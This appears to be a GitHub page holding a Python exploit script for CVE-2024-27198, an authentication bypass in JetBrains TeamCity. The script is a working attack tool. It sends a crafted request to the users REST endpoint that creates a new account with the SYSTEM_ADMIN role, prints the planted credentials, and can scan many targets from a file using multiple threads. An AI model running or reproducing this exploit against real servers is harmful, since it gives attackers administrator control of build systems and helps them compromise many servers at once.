-
Notifications
You must be signed in to change notification settings - Fork 1
/
CVE-2024-27198.py
123 lines (108 loc) · 6.42 KB
/
CVE-2024-27198.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!/usr/bin/env python3
import os
import time
import binascii
import requests
import argparse
from rich.console import Console
from alive_progress import alive_bar
from urllib3.exceptions import InsecureRequestWarning
from concurrent.futures import ThreadPoolExecutor, as_completed
color = Console()
def ascii_art():
print("")
color.print("[bold bright_yellow] ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ ███████╗ ██╗ █████╗ █████╗[/bold bright_yellow]")
color.print("[bold bright_yellow]██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║ ╚════██╗╚════██║███║██╔══██╗██╔══██╗[/bold bright_yellow]")
color.print("[bold bright_yellow]██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗ █████╔╝ ██╔╝╚██║╚██████║╚█████╔╝[/bold bright_yellow]")
color.print("[bold bright_yellow]██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══╝ ██╔╝ ██║ ╚═══██║██╔══██╗[/bold bright_yellow]")
color.print("[bold bright_yellow]╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗ ██║ ███████╗ ██║ ██║ █████╔╝╚█████╔╝[/bold bright_yellow]")
color.print("[bold bright_yellow] ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚════╝ ╚════╝[/bold bright_yellow]")
print("")
print("Coded By: K3ysTr0K3R --> I am the master, you are the student.")
print("")
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
path = '/hax?jsp=/app/rest/users;.jsp'
headers = {
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Linux; Android 11; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Mobile Safari/537.36',
}
def random_credentials(length=10):
return binascii.hexlify(os.urandom(length)).decode()
def generate_user_data():
return {
"username": random_credentials(5),
"password": random_credentials(5),
"email": random_credentials(5) + "@example.com",
"roles": {
"role": [
{
"roleId": "SYSTEM_ADMIN",
"scope": "g"
}
]
}
}
def find_vuln(target):
data = generate_user_data()
url = target + path
try:
response = requests.post(url, headers=headers, json=data, verify=False, timeout=7, allow_redirects=False)
if data["username"] in response.text:
color.print(f"[bold bright_green][+][/bold bright_green] Vulnerability Detected | Target: [bold cyan]{target.ljust(22)}[/bold cyan] | Added Credentials: [[bold bright_yellow]Username[/bold bright_yellow]: [bold bright_green]{data['username']}[/bold bright_green], [bold bright_yellow]Password[/bold bright_yellow]: [bold bright_green]{data['password']}[/bold bright_green]]")
except Exception:
pass
def exploit(target):
color.print("[bold bright_blue][*][/bold bright_blue] Identifying if the target is vulnerable")
data = generate_user_data()
url = target + path
try:
response = requests.post(url, headers=headers, json=data, verify=False, timeout=7, allow_redirects=False)
if data["username"] in response.text:
color.print(f"[bold bright_green][+][/bold bright_green] Vulnerability identified on [bold cyan]{target}[/bold cyan]")
color.print("[bold bright_blue][*][/bold bright_blue] Adding credentials please wait")
time.sleep(2)
color.print("[bold bright_blue][*][/bold bright_blue] Successfully added credentials")
color.print(f"[bold bright_green][+][/bold bright_green] Username: {data['username']}")
color.print(f"[bold bright_green][+][/bold bright_green] Password: {data['password']}")
color.print(f"[bold bright_blue][*][/bold bright_blue] Have a nice day! :)")
else:
color.print("[red][~][/red] The target is not vulnerable")
except Exception:
color.print("[red][~][/red] The target is not vulnerable or addition failed")
def scan_from_file(target_file, threads):
with open(target_file, "r") as url_file:
urls = [url.strip() for url in url_file]
if not urls:
return
completed_tasks = []
failed_tasks = []
with alive_bar(
len(urls), title="Scanning Targets", bar="smooth", enrich_print=False
) as bar:
with ThreadPoolExecutor(max_workers=threads) as executor:
future_to_url = {
executor.submit(find_vuln, url): url for url in urls
}
for future in as_completed(future_to_url):
url = future_to_url[future]
try:
future.result()
completed_tasks.append(url)
except Exception:
failed_tasks.append((url))
bar()
def main():
ascii_art()
parser = argparse.ArgumentParser(description='A PoC exploit for CVE-2024-27198 - JetBrains TeamCity Authentication Bypass')
parser.add_argument('-u', '--url', help='Target URL to exploit')
parser.add_argument('-f', '--file', help='File containing URLs to scan')
parser.add_argument('-t', '--threads', help='Set the amount of threads needed for scanning')
args = parser.parse_args()
if args.url:
exploit(args.url)
elif args.file:
scan_from_file(args.file, int(args.threads or 1))
else:
parser.print_help()
if __name__ == "__main__":
main()